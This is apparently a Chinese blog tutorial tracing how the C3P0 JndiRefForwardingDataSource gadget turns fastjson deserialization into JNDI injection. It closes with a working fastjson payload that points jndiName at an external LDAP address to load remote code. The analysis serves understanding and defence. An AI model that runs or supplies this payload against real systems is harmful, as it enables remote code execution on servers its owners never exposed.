【Web】浅聊Java反序列化之C3P0——JNDI注入利用

目录

简介

原理分析

EXP


前文:【Web】浅聊Java反序列化之C3P0------URLClassLoader利用

【Web】浅聊Java反序列化之C3P0------不出网Hex字节码加载利用

简介

出网的情况下,这个C3P0的Gadget可以和fastjson,Snake YAML , JYAML,Yamlbeans , Jackson,Blazeds,Red5, Castor等配合使用(调用setter和初始化方法)

和hex base的打法相比,这条链的利用对FJ反序列化触发的setter方法利用则更为直接

hex base好歹是有个setter设置属性+构造方法触发sink来进行攻击,jndi的利用干脆用setter把二者全包了

原理分析

就像上面说的一样,这个Gadget的核心主要是在setter上,因为过于简单粗暴,我们采用正向分析的方法去跟一下它

JndiRefForwardingDataSource#setloginTimeout

复制代码
 public void setLoginTimeout(int seconds) throws SQLException {
        this.inner().setLoginTimeout(seconds);
    }

跟进this.inner()

复制代码
 private synchronized DataSource inner() throws SQLException {
        if (this.cachedInner != null) {
            return this.cachedInner;
        } else {
            DataSource out = this.dereference();
            if (this.isCaching()) {
                this.cachedInner = out;
            }

            return out;
        }
    }

这段代码的作用是获取一个 DataSource 对象,在需要时从缓存中获取,如果没有缓存则创建新的对象,并在必要时将其缓存起来

跟进到this.dereference()

复制代码
private DataSource dereference() throws SQLException {
        Object jndiName = this.getJndiName();
        Hashtable jndiEnv = this.getJndiEnv();

        try {
            InitialContext ctx;
            if (jndiEnv != null) {
                ctx = new InitialContext(jndiEnv);
            } else {
                ctx = new InitialContext();
            }

            if (jndiName instanceof String) {
                return (DataSource)ctx.lookup((String)jndiName);
            } else if (jndiName instanceof Name) {
                return (DataSource)ctx.lookup((Name)jndiName);
            } else {
                throw new SQLException("Could not find ConnectionPoolDataSource with JNDI name: " + jndiName);
            }
        }

一眼经典JNDI,我们只要控制jndiName的值,就能实现jndi注入

jndiName来自this.getJndiName(),跟进一下

复制代码
public Object getJndiName() {
        return this.jndiName instanceof Name ? ((Name)this.jndiName).clone() : this.jndiName;
    }

很正常,就是获取该类的jndiName属性的值

那么有getter的地方必有setter,虽然JndiRefForwardingDataSource这个类本身没有setJndiName,但我们在其父类JndiRefDataSourceBase中找到了setJndiName

复制代码
public void setJndiName(Object jndiName) throws PropertyVetoException {
        Object oldVal = this.jndiName;
        if (!this.eqOrBothNull(oldVal, jndiName)) {
            this.vcs.fireVetoableChange("jndiName", oldVal, jndiName);
        }

        this.jndiName = jndiName instanceof Name ? ((Name)jndiName).clone() : jndiName;
        if (!this.eqOrBothNull(oldVal, jndiName)) {
            this.pcs.firePropertyChange("jndiName", oldVal, jndiName);
        }

    }

综合二者就可实现JNDI注入。

EXP

配合fastjson打JndiRefForwardingDataSource

复制代码
package com.c3p0;

import com.alibaba.fastjson.JSON;

public class FJ {
    public static void main(String[] args) {
        String s="{ \"a\":{ \"@type\":\"java.lang.Class\", \"val\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\" }, \"b\":{ \"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\", \"jndiName\":\"ldap://124.222.136.33:1337/#suibian\", \"loginTimeout\":0 } }";
        Object object = JSON.parse(s);
    }
}
相关推荐
WMSmile17 分钟前
Maven下载aspose依赖失败的解决方法
java·maven
Python私教20 分钟前
Rust:安全与性能兼得的现代系统编程语言
java·安全·rust
2401_8979300624 分钟前
Maven 使用教程
java·maven
PXM的算法星球35 分钟前
【Java后端】MyBatis 与 MyBatis-Plus 如何防止 SQL 注入?从原理到实战
java·sql·mybatis
zh_xuan39 分钟前
java Optional
java·开发语言
阿杜杜不是阿木木1 小时前
03.使用spring-ai玩转MCP
java·人工智能·spring boot·spring·mcp·spring-ai
旧故新长1 小时前
MyBatis 类型处理器(TypeHandler)注册与映射机制:JsonListTypeHandler和JsonListTypeHandler注册时机
java·开发语言·mybatis
异常君1 小时前
Redis 中的概率过滤器:布隆过滤器与布谷鸟过滤器实战对比
java·redis·后端
胡子发芽1 小时前
请解释Java中的逃逸分析(Escape Analysis)及其对性能的影响,并说明如何通过JVM参数来控制逃逸分析的行为
java
Stimd1 小时前
【重写SpringFramework】声明式事务上:构建事务切面(chapter 4-5)
java·后端·spring